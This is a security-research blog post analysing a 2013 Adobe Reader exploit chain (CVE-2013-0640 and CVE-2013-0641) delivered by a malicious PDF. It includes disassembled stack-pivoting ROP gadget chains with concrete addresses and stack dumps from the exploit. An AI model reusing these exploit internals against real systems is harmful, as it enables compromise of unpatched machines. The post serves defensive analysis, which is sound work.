Emerging ‘Stack Pivoting’ Exploits Bypass Common Security

[This blog was primarily written by Xiaoning Li of Intel Labs, with assistance from Peter Szor of McAfee Labs.]

In February 2013, the Adobe Product Security Incident Response Team (PSIRT) released security advisory APSA13-02. In that report they listed two vulnerabilities (CVE-2013-0640 and CVE-2013-0641) that were widely exploited. At Intel Labs and McAfee Labs we ran some further analysis of these exploits and want to share some of the interesting details we discovered.

Based on information from the PSIRT, both vulnerabilities will impact all versions of Adobe Reader from 9.x to 11.x. (Some Acrobat versions are also vulnerable.) We verified this claim and found the sample affected all of them.

Szor ROP1

Attack Path

The exploit is spread by a malicious PDF file. When Reader opens the PDF file, it will trigger the vulnerability and start the exploit. This PDF file delivers a very complex attack, bypassing the current Adobe sandbox mechanism to launch the malware.

This flow shows the basic steps for the attack path:

Szor ROP2

The files D.T and L2P.T are DLLs in a sandboxed temp path, as in the following:

Szor ROP3

A new PDF is created in the normal temp path:

Szor ROP4

The new PDF, Visaform Turkey, will appear to hide the exploitation. The exploit uses a lot of memory in the background.

Szor ROP5

 

First Exploit

The PDF’s first exploit uses a heap overflow to overwrite a virtual function pointer, and also uses a memory information leak to bypass the address space layout randomization (ASLR) protection in Windows. Return-oriented programming is used to bypass data execution prevention (DEP).

Let’s sidetrack for a moment and look at two definitions: Return-oriented programming (ROP) is an exploit technique in which an attacker controls the call stack to indirectly execute arbitrary intended or unintended code to deliver an attack, thereby bypassing security features such as DEP. Stack pivoting is a common technique used by ROP-based exploits. Pointing the stack pointer to an attacker-owned buffer, such as the heap, will provide more flexibility for the attacker to carry out a complex ROP exploit.

Here’s how the exploit works from the first trigger point. The vulnerability is in AcroForm.api. After the exploit prepares customized stack data on the heap, the data triggers the exploit via following instructions in AcroForm.api.

Szor ROP6

With a modified virtual function pointer, the instruction calls into a special ROP gadget, which will start pivoting.

The address for the first gadget is 0x209b9f50. Here’s the original code:

Szor ROP7

But if we decode from 0x209b9f50, the code piece looks like what follows. This is the ROP gadget for stack pivoting:

Szor ROP8

Now the stack points to a fake stack in the heap. The code log in a debugger at runtime looks like this:

Szor ROP9

Once the customized stack works, it will start more ROP gadgets. When the next Ret instruction is called, the stack looks like this:

Szor ROP10

What’s the instruction for 0x6acc1049? It is offset 0×1049 from AcroForm.api because 0x6acc00 is the base address for the target module. Here is the unintended ROP gadget again:

Szor ROP11

The decoded ROP gadget is just a Ret instruction:

Szor ROP12

It will repeat from stack 0x11849a34 to stack 0x1184beb4, a whopping 9,344 (0×2480) times!

Let’s see what the stack content is now:

Szor ROP13

The next gadget will move the esp register to esi. It will control the stack itself.

Szor ROP14

The gadget still includes lots of return addresses with repeated patterns, such as these:

Szor ROP15

With related code pieces:

Szor ROP16

Szor ROP17

Szor ROP18

So the logic will write target memory with values in the ecx register. The same pattern will repeat many times to modify 0x6b55e001, which is the beginning of the data section of AcroForm.api.

Szor ROP19

The data from 0x6b55e001 to 0x6b55e04e is modified and writes several API/DLL names into the area of 0x6b55e001:

  • GetTempPathA
  • Fwrite
  • Wb
  • CryptStringToBinaryA
  • Ntdll
  • RtlDecompressBuffer
  • Wcsstr

These strings are later used as parameters, during ROP-based API calls. After writing these strings into the data section, the ROP code continues with the following gadgets:

Szor ROP20

We can list the first piece of an ROP gadget step by step. The following code moves [esp] to ecx:

                                                                  6b218551

1184c074  cccc0240 6b022c74 6b19567b 6ad6ed72

1184c084  6b19567b 6b237664

 

6b218551 58              pop     eax

6b218552 c3              ret

 

6b022c74 0fb7c0       movzx   eax,ax

6b022c77 c3              ret

 

6b19567b 97              xchg    eax,edi

6b19567c c3              ret

 

6ad6ed72 01f7           add     edi,esi

6ad6ed74 c3              ret

 

6b19567b 97              xchg    eax,edi

6b19567c c3              ret

 

6b237664 91              xchg    eax,ecx

6b237665 c3              ret

The following code moves the pointer to eax, and then writes [eax] with the previous value in ecx:

                                                    6b218551 cccc023c

1184c094  6b022c74 6b19567b 6ad6ed72 6b1d943b

1184c0a4  6b16d51a

 

6b218551 58              pop     eax

6b218552 c3              ret

 

6b022c74 0fb7c0       movzx   eax,ax

6b022c77 c3              ret

 

6b19567b 97              xchg    eax,edi

6b19567c c3              ret

 

6ad6ed72 01f7           add     edi,esi

6ad6ed74 c3              ret

 

6b1d943b 57              push    edi

6b1d943c 58              pop     eax

6b1d943d c3              ret

 

6b16d51a 8908          mov     dword ptr [eax],ecx

6b16d51c c3              ret

The following code gets the LoadLibraryA() API pointer from the import table:

1184c0a4                                                        6b218551 6b32b234 6b1d92ac

6b218551 58              pop     eax

6b218552 c3              ret

6b1d92ac ff10            call    dword ptr [eax]

6b1d92ae c3               ret

At this point, the stack keeps the parameter for LoadLibraryA(). This is actually a string for MSVCR100.dll in the “idata” section.

Once the MSVCR100.dll handle is available via LoadLibraryA(), the following code writes the handle to the target address in the heap (actually the fake stack), which is used to call GetProcAddress() as the first parameter. The address is 0x1184c0e4.

1184c0b4                   6b237664 6b218551 cccc022c

1184c0c4  6b022c74 6b19567b 6ad6ed72 6b1d943b

1184c0d4  6b16d51a

 

6b237664 91              xchg    eax,ecx

6b237665 c3              ret

 

6b218551 58              pop     eax

6b218552 c3              ret

 

6b022c74 0fb7c0       movzx   eax,ax

6b022c77 c3              ret

 

6b19567b 97              xchg    eax,edi

6b19567c c3              ret

 

6ad6ed72 01f7           add     edi,esi

6ad6ed74 c3              ret

 

6b1d943b 57              push    edi

6b1d943c 58              pop     eax

6b1d943d c3              ret

 

6b16d51a 8908          mov     dword ptr [eax],ecx

6b16d51c c3              ret

Next the process calls the following gadgets to get function pointers for the wcsstr function. The first parameter is a DLL handle received from previous gadgets.

1184c0d4                    6b218551 6b32b1ec 6b1d92ac

 

6b218551 58              pop     eax

6b218552 c3              ret

 

6b1d92ac ff10            call    dword ptr [eax]

6b1d92ae c3              ret

Now it’s time to call the function with the jmp eax gadget.

1184c0e4                     6acce598

 

6acce598 ffe0            jmp     eax {MSVCR100!wcsstr (6c5f20f1)}

Here the code searches for the string “MODULE” from the heap or the fake stack. There is a long string in the heap following the “MODULE” signature. This is the encoded and compressed DLL D.T. With more gadgets, the code calls CryptStringToBinaryA() to convert this string to binary, and then calls RtlDecompressBuffer() to decompress the binary to the real D.T binary code in memory.

Similar ROP gadgets get ntdll.dll and related API addresses, for example, RtlDecompressBuffer() and CryptStringToBinaryA(). Finally, the ROP gadget calls GetTempPathA() to get the current temp path, the sandboxed path. It will create D.T under this path and call LoadLibraryA() to run the D.T. module.

D.T creates two threads. One shows error messages. The second creates and loads the DLL L2P.T, which exploits the second vulnerability to load L2P.T into a nonsandboxed acrord32 process. Finally this process terminates.

Szor ROP21

 

Second Exploit

The second exploit triggers the vulnerability at acrord32.exe:

Szor ROP22

Due to a heap overflow, the eax register calls to the stack-pivoting ROP gadget.

Szor ROP23

A few more ROP gadgets after stack pivoting load L2P.T in the same process. L2P.T creates another DLL, langbar.dll, which downloads the rest of the malware.

No Shell

After we reviewed all of the exploit code and corresponding ROP, we found that this exploit does not use any traditional shellcode. All API calls use the fake stack from the stack pivoting.

Mitigation

Stack pivoting is a very common technique to allow an exploit to run powerful gadgets with a fake stack. For this kind of complex case, it’s very hard to create a customized stack within the real stack instead of within a fake stack. Once an exploit can do stack pivoting, it can bypass different defense mechanisms. Evolving security solutions need to address this attack pattern. Stack pivoting creates a very complex ROP attack and is a good example of how exploitation techniques continue to evolve. This successful exploit bypasses both Adobe client security features and basic Windows DEP and ASLR defenses.

We thank our colleagues Haifei Li, Bing Sun, Xiaobo Chen, and Chong Xu for their help with this analysis.